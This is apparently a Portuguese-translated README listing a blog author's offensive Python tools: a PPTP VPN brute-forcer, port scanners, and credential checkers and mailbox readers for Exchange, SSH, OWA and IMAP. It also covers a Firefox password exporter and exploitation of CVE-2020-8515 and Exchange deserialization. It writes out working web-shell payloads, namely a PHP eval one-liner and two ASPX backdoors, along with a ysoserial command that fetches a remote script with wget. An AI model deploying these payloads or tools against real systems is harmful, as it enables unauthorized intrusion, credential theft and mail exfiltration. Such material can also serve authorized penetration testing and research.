
Códigos Python do meu blog.
Códigos Python do meu blog.
Use um ataque de força bruta para obter a senha da VPN PPTP.
Ele lê as senhas do arquivo (chamado wordlist) e depois usa pptpsetup para conectar ao servidor.
O intervalo de tempo é de 10 segundos.
Usado para escanear portas.
O tempo limite (timeout) é de 3 segundos.
Versão em C++:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Usado para obter o IP a partir da URL.
Posso usar o resultado do Sublist3r diretamente.
Usado para remover IPs duplicados do resultado do Sublist3r.
Posso usar o resultado do urltoip.py diretamente.
Os IPs podem ser ordenados usando o Sublime (F9).
Usado para remover itens duplicados de arquivo.
Referência:
Usado para chamar a API do fofa e imprimir o IP dos resultados.
Você pode obter 100 resultados.
Usado para chamar a API do fofa e imprimir o IP dos resultados.
Se você for VIP, obterá 10000 resultados.
Referência:
Ex.:
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Referência:
Ex.:
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Usado para exportar a senha do Firefox
Usado para obter a versão do Exchange.
Primeiro, obtenha o BuildNumber através do código-fonte da URL e depois obtenha a versão.
Referência:
Usado para escanear a vulnerabilidade RCE do SMBv3.
O tempo limite (timeout) é de 3 segundos.
Referência:
CVE-2020-8515
Os dispositivos DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta e Vigor300B 1.3.3_Beta, 1.4.2.1_Beta e 1.4.4_Beta permitem execução remota de código como root (sem autenticação) através de metacaracteres de shell no URI cgi-bin/mainfunction.cgi..
Produtos afetados:
Use a API SOAP do Zimbra para conectar ao servidor de e-mail Zimbra.
Uso:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
modo:
Ex.:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Usado para verificar a conta válida do Exchange Web Service (suporta plaintext e ntlmhash)
Uso:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Ex.:
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Usado para acessar o Autodiscover.xml e obter a configuração do usuário (suporta plaintext e ntlmhash)
Uso:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Ex.:
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Modo extra do checkAutodiscover.py
Adiciona um parâmetro
Usado para acessar o Exchange Web Service (suporta plaintext e ntlmhash)
Uso:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Ex.:
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Usado para verificar a credencial válida do SSH (suporta senha e arquivo de chave privada)
Uso:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Ex.:
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Execução remota de comandos via SSH (suporta senha e arquivo de chave privada)
Uso:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Ex.:
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Usado para verificar a credencial válida do eas (Exchange Server ActiveSync)
Uso:
easCheck.py <host> <user> <password>
Ex.:
easCheck.py 192.168.1.1 user1 password1
Usado para verificar a conta válida do Exchange conectando-se ao OWA.
Uso:
checkOWA.py <url> <user> <password>
Usado para ler e-mails conectando-se ao OWA.
Uso:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Use IMAP para conectar ao servidor de e-mail.
Uso:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Usado para implementar a autenticação NTLM e comunicar-se com execCmd.aspx
Os dados de comunicação são codificados com Base64
Uso:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
Versão em C#: SharpExchangeBackdoor.cs
Usado para enviar payload para o backdoor de webshell do Exchange.
Suporte:
Uso:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
Ex.:
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
Desserialização insegura de objetos - IMAP
Uso:
<url> <user> <password> <payload path>
Ex.:
https://192.168.1.1 [email protected] password1 payload.obj
Nota:
Você pode gerar o payload.obj assim:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Usado para testar a execução de código por desserialização do Exchange.
Das permissões de leitura e escrita dos arquivos do Exchange até a execução de código por desserialização.
Você deve modificar o machineKey em %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config para implementar a execução de código por desserialização.
<path>: owa ou ecp
Uso:
<url> <key> <path>
Ex.:
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Usado para analisar mensagens SOAP XML do Exchange.
Usado para acessar o centro de administração do Exchange
Uso:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
Use a API vSphere Automation (v7.0U1+) para gerenciar a VM
Suporta VMs Windows e Linux
Use a API vSphere Web Services para gerenciar a VM
Referência: https://github.com/vmware/pyvmomi/
Instalação: pip install --upgrade pyvmomi
Usado para gerenciar o banco de dados LDAP no vCenter.
Usado para gerenciar a plataforma SolarWinds Orion
Use a API SolarWinds Orion para gerenciar a plataforma Orion
Usado para gerenciar o servidor de e-mail MailEnable
Suporta o recebimento de resultados através dos protocolos HTTP ou FTP.
Usado para acessar o Exchange Web Service (suporta plaintext e ntlmhash)
Usado para acessar o Exchange Web Service (suporta plaintext e ntlmhash)
Use requests_ntlm2 para acessar o Exchange Web Service (suporta plaintext e ntlmhash)
Use requests_ntlm2 para acessar o Exchange Web Service (suporta plaintext e ntlmhash)
Use sessão para reduzir os dados de comunicação
Modificado a partir de https://github.com/horizon3ai/vcenter_saml_login
Modificado a partir de https://github.com/horizon3ai/vcenter_saml_login
Usado para obter a versão do Exchange e combinar as vulnerabilidades existentes
Usado para obter a versão do Exchange e analisar a versão a partir de https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Você deve salvar https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 como exchange.data
Usado para obter a versão do Exchange e analisar a versão a partir de https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Usado para obter o IP interno do Exchange
Baseado em msf auxiliary/scanner/http/owa_iis_internal_ip, mas suporta mais servidores Exchange.
Usado para obter a versão do vRealize Operations Manager
Use bash para executar comandos
Usado para descriptografar o arquivo .plx do Sophos UTM
Referência:
Usado para analisar a configuração do Sophos UTM